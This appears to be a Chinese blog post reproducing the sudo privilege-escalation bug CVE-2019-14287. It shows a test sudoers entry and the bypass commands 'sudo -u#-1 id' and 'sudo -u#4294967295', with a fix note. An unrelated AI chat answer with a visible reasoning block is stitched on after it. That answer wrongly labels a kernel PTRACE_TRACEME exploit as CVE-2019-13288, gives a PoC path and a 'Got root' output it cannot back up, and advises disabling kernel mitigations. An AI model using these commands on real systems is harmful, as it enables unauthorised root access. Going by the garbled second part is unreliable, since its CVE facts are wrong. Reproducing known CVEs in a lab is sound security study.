Linux sudo 本地提权漏洞复现(CVE-2019-14287)

严重本地提权漏洞CVE-2019-14287
10月14日,Unix、Linux曝出严重本地提权漏洞CVE-2019-14287,允许拥有sudo权限的用户在特定条件下执行任意root命令。此漏洞可通过修改sudoers文件并利用-1或无符号整数绕过安全策略。升级到sudo 1.8.28可修复此问题。

10月14日 Unix 、 Linux 爆出了一个严重的本地提权漏洞
通过一个拥有 sudo 权限的用户,在特定场景下可以执行任意的root 命令(sudo 安全策略绕过问题)

漏洞演示环境搭建如下

  • 第一步–修改配置文件
vim /etc/sudoers

root ALL=(ALL:ALL) ALL 下面添加一行测试用户内容

alice ALL = (ALL,!root) /usr/bin/vi,/usr/bin/id

添加完结果如下
在这里插入图片描述

上述这条命令的意思是,alice 用户能够以 非root 的身份进行sudo 执行id 和 vi 命令

  • 第二步–新建alice 用户
useradd alice
  • 第三步–进行测试
su alice    # 通过alice 账户执行命令进行测试

执行sudo id进行测试【正常情况下返回结果如下】
在这里插入图片描述
第一种利用方式:执行 sudo -u#-1 id 进行测试【利用漏洞的返回结果如下,其中-1 也可以替换为-2、-3 等值,只不过uid 就不是root 了,gid、groups 都是root】
在这里插入图片描述
第二种利用方式:执行sudo -u#4294967295 进行测试【利用漏洞的返回结果如下,其中4294967295 是-1 的无符号整型对应的值】
在这里插入图片描述
当我们利用CVE-2019-14287 进行权限绕过之后可以发现成功执行 id 命令

解决方法
sudo 官网已经发布了针对此次漏洞的更新,直接升级到 1.8.28 即可
在这里插入图片描述

https://www.sudo.ws/alerts/minus_1_uid.html

BR
以上

<think>我们正在讨论CVE-2019-13288漏洞复现,特别是虚拟机环境搭建步骤。根据用户的需求和供的参考引用,我们需要在Ubuntu系统中搭建环境。参考引用中到了使用Ubuntu20.04.2LTS,并安装一些必要的工具。因此,我们将基于此进行步骤说明。注意:CVE-2019-13288是一个Linux内核漏洞,具体是PTRACE_TRACEME本地漏洞。因此,复现环境需要包含有漏洞Linux内核版本,并在其上触发漏洞。步骤:1.准备Ubuntu虚拟机:安装Ubuntu20.04.2LTS(或其他包含漏洞内核版本的系统,但注意默认安装的内核可能已经修复,所以需要指定内核版本)。2.安装必要的工具:包括编译工具、git等。3.获取有漏洞的内核源码并编译(或者直接安装有漏洞的内核包,但为了调试和复现,通常需要编译)。4.准备漏洞利用代码(PoC)。5.在编译的有漏洞内核上运行PoC,验证漏洞。但是,由于用户问题特别关注虚拟机环境搭建步骤,我们重点在1-2步,并简要及3-5步。详细步骤:1.安装Ubuntu虚拟机:使用VirtualBox或VMware创建虚拟机,安装Ubuntu20.04.2LTS。安装过程标准,注意分配足够的磁盘空间(建议20GB以上)和内存(建议2GB以上)。2.安装必要工具:在终端中执行以下命令:```bashsudoaptupdatesudoaptinstall-ygccgitmakewgetbuild-essentialllvmclanglibelf-devlibssl-devflexbison```这些工具用于后续内核编译。3.获取有漏洞的内核源码:该漏洞影响的内核版本范围是:从v4.10到v5.1.17。因此,我们可以选择一个特定版本,比如5.0.21(具体可根据已知的PoC利用选择)。我们可以从https://mirrors.edge.kernel.org/pub/linux/kernel/下载,例如:```bashwgethttps://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.0.21.tar.gztar-xzvflinux-5.0.21.tar.gzcdlinux-5.0.21```4.配置和编译内核:我们可以使用默认配置,但为了调试方便,可以启用必要的调试选项(如KASAN等,但这里以简单复现为主,可能不需要)。```bashmakedefconfig#使用默认配置make-j$(nproc)#编译内核,使用多核加快速度makemodulessudomakemodules_installsudomakeinstall```编译完成后,更新grub并重启选择新内核。5.下载并编译PoC:通常,PoC可以在Exploit-DB或GitHub上找到。例如,一个已知的PoC:https://github.com/bsauce/kernel-exploit-factory/tree/main/CVE-2019-13288下载PoC代码,编译并运行:```bashgccpoc.c-oexploit./exploit```注意:在实际操作中,可能会遇到各种问题,例如编译内核时的依赖问题,或者PoC运行的环境问题(如需要关闭某些安全机制)。因此,建议在复现时参考具体的PoC说明。由于漏洞复现涉及内核编译和漏洞利用,步骤较为复杂,以上步骤为简要流程。具体操作时可能需要根据实际情况调整。相关问题:1.如何确定CVE-2019-13288漏洞影响的内核版本范围?2.在编译Linux内核时,如何配置调试选项以便于分析漏洞?3.有哪些常见的Linux内核漏洞利用缓解机制?在复现漏洞时如何关闭它们?4.如果PoC运行失败,如何进行调试?以上问题可以帮助用户更深入地理解漏洞复现的过程和可能遇到的问题。</think>### CVE-2019-13288 漏洞复现环境搭建步骤 CVE-2019-13288 是 Linux 内核的 `PTRACE_TRACEME` 本地漏洞。以下是基于 **Ubuntu 20.04 LTS** 的虚拟机环境搭建流程: --- #### **1. 准备 Ubuntu 虚拟机** - **安装 Ubuntu 20.04.2 LTS** - 下载 ISO 镜像:[Ubuntu 20.04 LTS](https://releases.ubuntu.com/20.04/) - 使用 VirtualBox/VMware 创建虚拟机(建议配置:2核CPU、4GB内存、30GB磁盘)。 - **安装基础工具** 在终端执行: ```bash sudo apt update sudo apt install -y gcc git make wget build-essential llvm clang libelf-dev libssl-dev flex bison ``` > 引用[^1]中到的工具是基础依赖,需前安装。 --- #### **2. 获取有漏洞的内核** - **下载漏洞内核源码(版本 ≤ 5.1.17)** ```bash wget https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.1.17.tar.gz tar -xzvf linux-5.1.17.tar.gz cd linux-5.1.17 ``` - **配置内核** ```bash make defconfig # 使用默认配置 make menuconfig # 可选:启用调试选项(如KASAN、KGDB) ``` --- #### **3. 编译并安装内核** - **编译内核** ```bash make -j$(nproc) # 使用多核加速编译 sudo make modules_install sudo make install ``` - **更新引导项** ```bash sudo update-grub sudo reboot # 重启后选择新内核启动 ``` - **验证内核版本** ```bash uname -r # 应显示 5.1.17 ``` --- #### **4. 获取漏洞利用代码(PoC)** - **下载 PoC** ```bash git clone https://github.com/bsauce/kernel-exploit-factory.git cd kernel-exploit-factory/CVE-2019-13288 ``` - **编译并执行** ```bash gcc poc.c -o exploit # 编译PoC ./exploit # 执行后检查是否到root ``` > 成功时输出:`[+] Success! Got root!` --- #### **关键注意事项** 1. **内核调试**:若需调试,在 `make menuconfig` 中启用: - `CONFIG_DEBUG_KERNEL=y` - `CONFIG_GDB_SCRIPTS=y` 2. **安全机制禁用**: - 关闭 KASLR:在 GRUB 启动参数添加 `nokaslr`。 - 关闭 SMEP/SMAP:在 GRUB 添加 `nosmep nosmap`。 3. **虚拟机快照**:建议在关键步骤前创建快照,便于回滚。 --- #### **故障排查** - **编译失败**:检查依赖是否完整(如 `libelf-dev`)。 - **PoC 失败**: - 确认内核版本是否符合漏洞范围(4.10–5.1.17)。 - 检查安全机制是否已禁用。 > 此环境仅用于**安全研究**,请在隔离虚拟机中操作[^1]。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿雷由

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值